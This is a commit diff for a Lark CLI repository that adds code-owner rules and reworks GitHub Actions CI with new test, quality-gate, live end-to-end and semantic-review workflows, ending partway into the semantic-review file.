feat: route Base intents through unified assistant

Change-Id: Ib35127726f8c87e1678fed6e41df315e45ad5776

.github/CODEOWNERS

@@ -0,0 +1,30 @@
+/internal/ @liangshuo-1
+
+# Last match wins: existing domains below are exempt, only new skills/ entries need review.
+/skills/ @liangshuo-1
+/skills/lark-approval/
+/skills/lark-apps/
+/skills/lark-attendance/
+/skills/lark-base/
+/skills/lark-calendar/
+/skills/lark-contact/
+/skills/lark-doc/
+/skills/lark-drive/
+/skills/lark-event/
+/skills/lark-im/
+/skills/lark-mail/
+/skills/lark-markdown/
+/skills/lark-minutes/
+/skills/lark-okr/
+/skills/lark-openapi-explorer/
+/skills/lark-shared/
+/skills/lark-sheets/
+/skills/lark-skill-maker/
+/skills/lark-slides/
+/skills/lark-task/
+/skills/lark-vc/
+/skills/lark-vc-agent/
+/skills/lark-whiteboard/
+/skills/lark-wiki/
+/skills/lark-workflow-meeting-summary/
+/skills/lark-workflow-standup-report/

.github/workflows/ci.yml

@@ -1,17 +1,23 @@
 name: CI
+run-name: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
 
 on:
   push:
     branches: [main]
   pull_request:
     branches: [main]
+    types: [opened, synchronize, reopened, edited]
   workflow_dispatch:
 
+# PR metadata edits can retrigger full CI for the same head. Keep only the
+# newest run for a pull request; push and manual runs use a unique run ID.
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.run_id }}
+  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
+
 permissions:
   contents: read
   actions: read
-  checks: write
-  pull-requests: write
 
 jobs:
   # ── Layer 1: Fast Gate ─────────────────────────────────────────────
@@ -48,6 +54,34 @@ jobs:
             exit 1
           fi
 
+  plugin-integration:
+    needs: fast-gate
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        with:
+          persist-credentials: false
+      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
+        with:
+          go-version-file: go.mod
+      # No fetch_meta: the git-archive clean tree must embed only the
+      # committed meta_data stub (reproduces the bare-module customer state).
+      - name: Run plugin-integration L4 tests
+        run: go test -count=1 -timeout=15m ./tests/plugin_e2e/...
+
+  sidecar-integration:
+    needs: fast-gate
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        with:
+          persist-credentials: false
+      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
+        with:
+          go-version-file: go.mod
+      - name: Run sidecar tag build + HMAC round-trip
+        run: make sidecar-test
+
   # ── Layer 2: Quality Gate ──────────────────────────────────────────
   unit-test:
     needs: fast-gate
@@ -72,6 +106,7 @@ jobs:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
         with:
           fetch-depth: 0
+          persist-credentials: false
       - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
         with:
           go-version-file: go.mod
@@ -80,10 +115,86 @@ jobs:
           python-version: '3.x'
       - name: Fetch meta data
         run: python3 scripts/fetch_meta.py
+      - name: Resolve changed-from baseline
+        env:
+          QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
+        run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
       - name: Run golangci-lint
-        run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev=origin/main
-      - name: Run errs/ lint guards (lintcheck)
-        run: go run -C lint . ..
+        run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev="$QUALITY_GATE_CHANGED_FROM"
+      - name: Run source-contract lint guards (lintcheck)
+        run: go run -C lint . --changed-from "$QUALITY_GATE_CHANGED_FROM" ..
+      - name: Run lint module tests
+        run: go test -C lint ./... -count=1
+
+  script-test:
+    needs: fast-gate
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        with:
+          fetch-depth: 0
+          persist-credentials: false
+      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
+        with:
+          go-version-file: go.mod
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
+        with:
+          node-version: '22'
+      - name: Run script tests
+        run: make script-test
+
+  deterministic-gate:
+    needs: fast-gate
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      actions: read
+    steps:
+      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        with:
+          fetch-depth: 0
+      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
+        with:
+          go-version-file: go.mod
+      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
+        with:
+          python-version: '3.x'
+      - name: Fetch meta data
+        run: python3 scripts/fetch_meta.py
+      - name: Resolve changed-from baseline
+        env:
+          QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
+        run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
+      - name: Write public content metadata
+        if: ${{ github.event_name == 'pull_request' }}
+        env:
+          PR_TITLE: ${{ github.event.pull_request.title }}
+          PR_BODY: ${{ github.event.pull_request.body }}
+          PR_BRANCH: ${{ github.head_ref }}
+        run: |
+          mkdir -p .tmp/quality-gate
+          python3 - <<'PY'
+          import json
+          import os
+
+          with open(".tmp/quality-gate/public-content-metadata.json", "w", encoding="utf-8") as f:
+              json.dump({
+                  "title": os.environ.get("PR_TITLE", ""),
+                  "body": os.environ.get("PR_BODY", ""),
+                  "branch": os.environ.get("PR_BRANCH", ""),
+              }, f)
+              f.write("\n")
+          PY
+      - name: Run CLI deterministic gate
+        run: PUBLIC_CONTENT_METADATA=.tmp/quality-gate/public-content-metadata.json make quality-gate
+      - name: Upload quality gate facts
+        if: ${{ always() && github.event_name == 'pull_request' }}
+        uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
+        with:
+          name: quality-gate-facts-${{ github.event.pull_request.base.sha }}-${{ github.event.pull_request.head.sha }}
+          path: .tmp/quality-gate/facts.json
+          if-no-files-found: error
+          retention-days: 7
 
   coverage:
     needs: fast-gate
@@ -100,9 +211,14 @@ jobs:
         run: python3 scripts/fetch_meta.py
       - name: Run tests with coverage
         run: |
-          packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
+          # tests/ holds only L3/L4 suites (cli_e2e, plugin_e2e, sidecar_e2e) that
+          # have dedicated jobs; exclude the whole subtree so none of them runs a
+          # second time here — and, crucially, so an observe-only suite's failure
+          # can never block merges through coverage's spot in the results loop.
+          packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/')
           go test -race -coverprofile=coverage.txt -covermode=atomic $packages
       - name: Upload coverage to Codecov
+        if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
         uses: codecov/codecov-action@3f20e214133d0983f9a10f3d63b0faf9241a3daa # v6
         with:
           files: coverage.txt
@@ -184,17 +300,45 @@ jobs:
 
   # ── Layer 3: E2E Gate ──────────────────────────────────────────────
   e2e-dry-run:
-    needs: [unit-test, lint]
+    needs: [unit-test, lint, script-test, deterministic-gate]
     runs-on: ubuntu-latest
+    timeout-minutes: 20
+    outputs:
+      mode: ${{ steps.e2e_domains.outputs.mode }}
+      reason: ${{ steps.e2e_domains.outputs.reason }}
+      live_packages: ${{ steps.e2e_domains.outputs.live_packages }}
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        with:
+          fetch-depth: 0
       - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
         with:
           go-version-file: go.mod
       - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
         with:
           python-version: '3.x'
+      - name: Resolve CLI E2E domains
+        id: e2e_domains
+        run: node scripts/e2e_domains.js
+      - name: Validate CLI E2E domain outputs
+        env:
+          E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
+          E2E_LIVE_PACKAGES: ${{ steps.e2e_domains.outputs.live_packages }}
+        run: |
+          case "$E2E_MODE" in
+            skip)
+              [ -z "$E2E_LIVE_PACKAGES" ] || { echo "::error::Skip mode must not resolve live packages"; exit 1; }
+              ;;
+            full|subset)
+              [ -n "$E2E_LIVE_PACKAGES" ] || { echo "::error::No live packages resolved for mode $E2E_MODE"; exit 1; }
+              ;;
+            *)
+              echo "::error::Invalid CLI E2E mode: $E2E_MODE"
+              exit 1
+              ;;
+          esac
       - name: Build lark-cli
+        if: ${{ steps.e2e_domains.outputs.mode != 'skip' }}
         run: make build
       - name: Run dry-run E2E tests
         env:
@@ -202,18 +346,50 @@ jobs:
           LARKSUITE_CLI_APP_ID: dry-run
           LARKSUITE_CLI_APP_SECRET: dry-run
           LARKSUITE_CLI_BRAND: feishu
-        run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'
+          E2E_MODE: ${{ steps.e2e_domains.outputs.mode }}
+          E2E_REASON: ${{ steps.e2e_domains.outputs.reason }}
+          E2E_DRY_ROOT_PACKAGE: ${{ steps.e2e_domains.outputs.dry_root_package }}
+          E2E_DRY_PACKAGES: ${{ steps.e2e_domains.outputs.dry_packages }}
+        run: |
+          if [ "$E2E_MODE" = "skip" ]; then
+            echo "No dry-run CLI E2E needed: $E2E_REASON"
+            exit 0
+          fi
+          if [ -z "$E2E_DRY_ROOT_PACKAGE" ] && [ -z "$E2E_DRY_PACKAGES" ]; then
+            echo "::error::No dry-run CLI E2E packages resolved for mode $E2E_MODE"
+            exit 1
+          fi
+          echo "Dry-run CLI E2E domains: $E2E_MODE ($E2E_REASON)"
+          if [ -n "$E2E_DRY_ROOT_PACKAGE" ]; then
+            echo "Dry-run CLI E2E root package: $E2E_DRY_ROOT_PACKAGE"
+            go test -v -count=1 -timeout=5m "$E2E_DRY_ROOT_PACKAGE"
+          fi
+          if [ -n "$E2E_DRY_PACKAGES" ]; then
+            echo "Dry-run CLI E2E packages: $E2E_DRY_PACKAGES"
+            go test -v -count=1 -timeout=5m $E2E_DRY_PACKAGES -run 'DryRun|Regression'
+          fi
 
   e2e-live:
-    needs: [unit-test, lint]
-    if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
+    needs: [unit-test, lint, script-test, deterministic-gate, e2e-dry-run]
+    if: ${{ always() && (github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork) && needs.unit-test.result == 'success' && needs.lint.result == 'success' && needs.script-test.result == 'success' && needs.deterministic-gate.result == 'success' && needs.e2e-dry-run.result == 'success' && (needs.e2e-dry-run.outputs.mode == 'full' || needs.e2e-dry-run.outputs.mode == 'subset') && needs.e2e-dry-run.outputs.live_packages != '' }}
     runs-on: ubuntu-latest
+    timeout-minutes: 30
+    # Live E2E uses one repository-wide execution slot.
+    concurrency:
+      group: lark-cli-e2e-live
+      cancel-in-progress: false
+      queue: max
+    permissions:
+      actions: read
+      contents: read
+      checks: write
     env:
       TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
-      TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
-      TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
+      LARKSUITE_CLI_BRAND: feishu
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        with:
+          fetch-depth: 0
       - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
         with:
           go-version-file: go.mod
@@ -221,25 +397,75 @@ jobs:
         with:
           python-version: '3.x'
       - name: Build lark-cli
+        id: build_cli
         run: make build
-      - name: Configure bot credentials
-        run: |
-          if [ -z "$TEST_BOT1_APP_ID" ] || [ -z "$TEST_BOT1_APP_SECRET" ]; then
-            echo "::error::Missing required secrets: TEST_BOT1_APP_ID / TEST_BOT1_APP_SECRET"
-            exit 1
-          fi
-          printf '%s\n' "$TEST_BOT1_APP_SECRET" | ./lark-cli config init --app-id "$TEST_BOT1_APP_ID" --app-secret-stdin
-      - name: Run CLI E2E tests
+      - name: Prepare shared live E2E tenant token
+        id: live_e2e_tat
         env:
+          LARKSUITE_CLI_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
+          TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
+        run: node scripts/fetch_e2e_tat.js
+      - name: Run CLI E2E tests
+        # Keep an active Go test alive so t.Cleanup can finish. A queued stale
+        # run is rejected below before it can start live E2E.
+        if: ${{ always() && steps.build_cli.outcome == 'success' && steps.live_e2e_tat.outcome == 'success' }}
+        shell: bash
+        env:
+          GH_TOKEN: ${{ github.token }}
+          REPOSITORY: ${{ github.repository }}
+          EVENT_NAME: ${{ github.event_name }}
+          RUN_ID: ${{ github.run_id }}
+          RUN_NUMBER: ${{ github.run_number }}
+          RUN_GENERATION: ${{ github.event_name == 'pull_request' && format('CI / {0}', github.event.pull_request.number) || '' }}
           LARK_CLI_BIN: ${{ github.workspace }}/lark-cli
+          E2E_MODE: ${{ needs.e2e-dry-run.outputs.mode }}
+          E2E_REASON: ${{ needs.e2e-dry-run.outputs.reason }}
+          E2E_LIVE_PACKAGES: ${{ needs.e2e-dry-run.outputs.live_packages }}
+          E2E_TENANT_AUTH_FILE: ${{ steps.live_e2e_tat.outputs.path }}
+          TEST_USER_ACCESS_TOKEN: ${{ secrets.TEST_USER_ACCESS_TOKEN }}
         run: |
-          packages=$(go list ./tests/cli_e2e/... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '/demo$')
-          if [ -z "$packages" ]; then
-            echo "No CLI E2E packages to test after exclusions."
+          if [ "$EVENT_NAME" = "pull_request" ]; then
+            workflow_id="$(gh api "repos/$REPOSITORY/actions/runs/$RUN_ID" --jq '.workflow_id')"
+            newer_runs="$(
+              gh api --paginate -X GET "repos/$REPOSITORY/actions/workflows/$workflow_id/runs" \
+                -f event=pull_request -f branch="$GITHUB_HEAD_REF" -f per_page=100 |
+                jq -r --arg repository "$REPOSITORY" --arg generation "$RUN_GENERATION" --argjson run_number "$RUN_NUMBER" \
+                  '.workflow_runs[] | select(.head_repository.full_name == $repository and .display_title == $generation and .run_number > $run_number) | .id'
+            )"
+            if [ -n "$newer_runs" ]; then
+              echo "::error::Superseded before live E2E started by newer workflow run(s): $newer_runs"
+              exit 1
+            fi
+          fi
+          if [ -z "${E2E_TENANT_AUTH_FILE:-}" ] || [ ! -f "$E2E_TENANT_AUTH_FILE" ]; then
+            echo "::error::Missing shared live E2E tenant token file"
             exit 1
           fi
-          packages_arg=$(printf '%s\n' "$packages" | paste -sd' ' -)
-          go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages_arg" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
+          export TEST_TENANT_ACCESS_TOKEN="$(cat "$E2E_TENANT_AUTH_FILE")"
+          rm -f "$E2E_TENANT_AUTH_FILE"
+          if ! LARKSUITE_CLI_APP_ID="$TEST_BOT1_APP_ID" \
+            LARKSUITE_CLI_TENANT_ACCESS_TOKEN="$TEST_TENANT_ACCESS_TOKEN" \
+            ./lark-cli whoami --as bot | node -e '
+            let input = "";
+            process.stdin.setEncoding("utf8");
+            process.stdin.on("data", (chunk) => { input += chunk; });
+            process.stdin.on("end", () => {
+              const result = JSON.parse(input);
+              if (result.identity !== "bot" || result.available !== true || result.tokenStatus !== "ready") process.exit(1);
+            });
+          '; then
+            echo "::error::Tenant credential preflight failed"
+            exit 1
+          fi
+          echo "Tenant credential preflight succeeded"
+          packages="$E2E_LIVE_PACKAGES"
+          if [ -z "$packages" ]; then
+            echo "::error::No live CLI E2E packages resolved for mode $E2E_MODE"
+            exit 1
+          fi
+          echo "Live CLI E2E domains: $E2E_MODE ($E2E_REASON)"
+          echo "Live CLI E2E packages: $packages"
+          go run gotest.tools/gotestsum@v1.12.3 --rerun-fails=2 --rerun-fails-max-failures=20 --packages="$packages" --format testname --junitfile cli-e2e-report.xml -- -count=1 -v
       - name: Publish CLI E2E test report
         if: ${{ !cancelled() }}
         uses: dorny/test-reporter@a43b3a5f7366b97d083190328d2c652e1a8b6aa2 # v3.0.0
@@ -254,6 +480,9 @@ jobs:
   # ── Layer 4: Security & Compliance (parallel with L2-L3) ──────────
   security:
     runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      pull-requests: read
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
         with:
@@ -291,7 +520,7 @@ jobs:
   # ── Results Gate (single required check for branch protection) ─────
   results:
     if: ${{ always() }}
-    needs: [fast-gate, unit-test, lint, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
+    needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header, plugin-integration, sidecar-integration]
     runs-on: ubuntu-latest
     steps:
       - name: Evaluate results
@@ -303,21 +532,34 @@ jobs:
           echo "| L1 | fast-gate | ${{ needs.fast-gate.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L2 | unit-test | ${{ needs.unit-test.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L2 | lint | ${{ needs.lint.result }} |" >> $GITHUB_STEP_SUMMARY
+          echo "| L2 | script-test | ${{ needs.script-test.result }} |" >> $GITHUB_STEP_SUMMARY
+          echo "| L2 | deterministic-gate | ${{ needs.deterministic-gate.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L2 | coverage | ${{ needs.coverage.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L2 | deadcode | ${{ needs.deadcode.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L3 | e2e-dry-run | ${{ needs.e2e-dry-run.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L3 | e2e-live | ${{ needs.e2e-live.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L4 | security | ${{ needs.security.result }} |" >> $GITHUB_STEP_SUMMARY
           echo "| L4 | license-header | ${{ needs.license-header.result }} |" >> $GITHUB_STEP_SUMMARY
+          echo "| L4 | plugin-integration (observe-only) | ${{ needs.plugin-integration.result }} |" >> $GITHUB_STEP_SUMMARY
+          echo "| L4 | sidecar-integration (observe-only) | ${{ needs.sidecar-integration.result }} |" >> $GITHUB_STEP_SUMMARY
 
           # Any failure or cancellation in any job blocks the merge.
-          # Legitimately skipped jobs (deadcode on push, e2e-live on fork,
-          # license-header on push) are OK.
+          # Legitimately skipped jobs (deadcode on push, e2e-live when not
+          # needed or on a fork, license-header on push) are OK.
+          #
+          # plugin-integration and sidecar-integration are intentionally NOT
+          # in this loop yet: they run on every PR and their status is shown
+          # in the table above, but a failure is observe-only (non-blocking)
+          # during the initial soak. Graduation to required is tracked in
+          # https://github.com/larksuite/cli/issues/1894 (criteria: 4
+          # consecutive weeks with zero false positives).
           FAILED=0
           for result in \
             "${{ needs.fast-gate.result }}" \
             "${{ needs.unit-test.result }}" \
             "${{ needs.lint.result }}" \
+            "${{ needs.script-test.result }}" \
+            "${{ needs.deterministic-gate.result }}" \
             "${{ needs.coverage.result }}" \
             "${{ needs.deadcode.result }}" \
             "${{ needs.e2e-dry-run.result }}" \

.github/workflows/comment-audit.yml

@@ -0,0 +1,28 @@
+name: Comment Audit
+
+on:
+  issue_comment:
+    types: [created, edited]
+  pull_request_review:
+    types: [submitted, edited]
+  pull_request_review_comment:
+    types: [created, edited]
+
+permissions:
+  contents: read
+
+jobs:
+  public-content-comment-audit:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        with:
+          persist-credentials: false
+      - uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
+        with:
+          go-version-file: go.mod
+      - name: Post-publication comment audit
+        run: |
+          mkdir -p .tmp/comment-audit
+          cp "$GITHUB_EVENT_PATH" .tmp/comment-audit/event.json
+          go run ./internal/qualitygate/cmd/comment-audit --event .tmp/comment-audit/event.json --kind "$GITHUB_EVENT_NAME"

.github/workflows/semantic-review.yml

@@ -0,0 +1,611 @@
+name: Semantic Review
+
+on:
+  workflow_run:
+    workflows: ["CI"]
+    types: [completed]
+
+permissions:
+  actions: read
+  contents: read
+
+jobs:
+  pr-quality-summary:
+    if: github.event.workflow_run.event == 'pull_request'
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      issues: write
+      pull-requests: write
+    steps:
+      - name: Verify workflow run and pull request for summary
+        id: pr
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        with:
+          script: |
+            const run = context.payload.workflow_run;
+            if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
+            let workflowPath = run.path || "";
+            if (!workflowPath) {
+              const workflowId = Number(run.workflow_id || 0);
+              if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
+              const { data: workflow } = await github.rest.actions.getWorkflow({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                workflow_id: workflowId,
+              });
+              workflowPath = workflow.path || "";
+            }
+            if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
+            if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
+            if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
+            if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
+            if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
+            const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
+            if (runPRs.length > 1) {
+              throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
+            }
+            let prNumber = Number(runPRs[0]?.number || 0);
+            const eventBaseSha = runPRs[0]?.base?.sha || "";
+            const eventHeadSha = runPRs[0]?.head?.sha || "";
+            const targetHeadSha = run.head_sha;
+            if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
+            if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
+              core.notice("PR quality summary using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
+            }
+
+            const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
+            const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              run_id: run.id,
+              per_page: 100,
+            });
+            const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
+            let factsArtifactName = "";
+            let artifactBaseSha = "";
+            let artifactError = "";
+            if (factsArtifacts.length !== 1) {
+              artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
+            } else {
+              factsArtifactName = factsArtifacts[0].name;
+              const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
+              if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
+                artifactError = "facts artifact head sha does not match verified PR head sha";
+                factsArtifactName = "";
+              } else {
+                artifactBaseSha = parsedBaseSha;
+                if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
+                  core.notice("PR quality summary using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
+                }
+              }
+            }
+            if (!prNumber) {
+              const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                commit_sha: targetHeadSha,
+              });
+              const candidatePRs = associatedPRs.filter((candidate) =>
+                candidate.base?.repo?.id === context.payload.repository.id &&
+                candidate.head?.sha === targetHeadSha
+              );
+              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
+              if (openCandidatePRs.length > 1) {
+                throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
+              }
+              if (openCandidatePRs.length === 1) {
+                prNumber = openCandidatePRs[0].number;
+              } else if (candidatePRs.length > 0) {
+                core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
+                core.setOutput("stale", "true");
+                return;
+              }
+            }
+            if (!prNumber) {
+              const candidatePRs = await github.paginate(github.rest.pulls.list, {
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                state: "all",
+                per_page: 100,
+              }).then((prs) => prs.filter((candidate) =>
+                candidate.base?.repo?.id === context.payload.repository.id &&
+                candidate.head?.sha === targetHeadSha
+              ));
+              const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
+              if (openCandidatePRs.length > 1) {
+                throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
+              }
+              if (openCandidatePRs.length === 1) {
+                prNumber = openCandidatePRs[0].number;
+              } else if (candidatePRs.length > 0) {
+                core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
+                core.setOutput("stale", "true");
+                return;
+              } else {
+                throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
+              }
+            }
+            if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
+            const { data: pr } = await github.rest.pulls.get({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              pull_number: prNumber,
+            });
+            if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
+            if (pr.state !== "open") {
+              core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
+              core.setOutput("stale", "true");
+              return;
+            }
+            if (pr.head.sha !== targetHeadSha) {
+              core.notice("PR quality summary skipped: workflow_run is stale for this PR head");
+              core.setOutput("stale", "true");
+              return;
+            }
+            const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
+            if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
+            if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
+              core.notice("PR quality summary skipped: workflow_run is stale for this PR base");
+              core.setOutput("stale", "true");
+              return;
+            }
+            if (artifactError) {
+              core.warning(`quality gate facts artifact binding is unavailable: ${artifactError}`);
+            }
+            core.setOutput("pr_number", String(prNumber));
+            core.setOutput("head_sha", targetHeadSha);
+            core.setOutput("base_sha", baseSha);
+            core.setOutput("run_id", String(run.id));
+            core.setOutput("facts_artifact_name", factsArtifactName);
+            core.setOutput("artifact_error", artifactError);
+            core.setOutput("stale", "false");
+
+      - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
+        id: checkout
+        if: ${{ steps.pr.outputs.stale != 'true' }}
+        with:
+          ref: ${{ steps.pr.outputs.base_sha }}
+          persist-credentials: false
+
+      - name: Verify summary facts artifact metadata
+        id: artifact
+        if: ${{ steps.pr.outputs.stale != 'true' && steps.pr.outputs.facts_artifact_name != '' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        with:
+          script: |
+            const run = context.payload.workflow_run;
+            const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
+            const { data } = await github.rest.actions.listWorkflowRunArtifacts({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              run_id: run.id,
+              per_page: 100,
+            });
+            const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
+            if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
+            const artifact = artifacts[0];
+            if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
+            if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
+              throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
+            }
+            if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
+            core.setOutput("artifact_id", String(artifact.id));
+            core.setOutput("artifact_digest", artifact.digest);
+
+      - name: Download facts artifact zip
+        if: ${{ steps.pr.outputs.stale != 'true' && steps.artifact.outputs.artifact_id != '' }}
+        uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
+        id: download
+        with:
+          script: |
+            const fs = require("fs");
+            const path = require("path");
+            const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
+            if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
+            const { data } = await github.rest.actions.downloadArtifact({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              artifact_id: artifactId,
+              archive_format: "zip",
+            });
+            const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
+            fs.writeFileSync(zipPath, Buffer.from(data));
+            core.setOutput("zip_path", zipPath);
+
+      - name: Verify and extract summary facts artifact
+        if: ${{ steps.pr.outputs.stale != 'true' && steps.download.outputs.zip_path != '' }}
+        env:
+          SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
+          SEMANTIC_REVIEW_DECISION_OUT: decision.json
+          SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
+        run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
+
+      - name: Publish PR quality summary
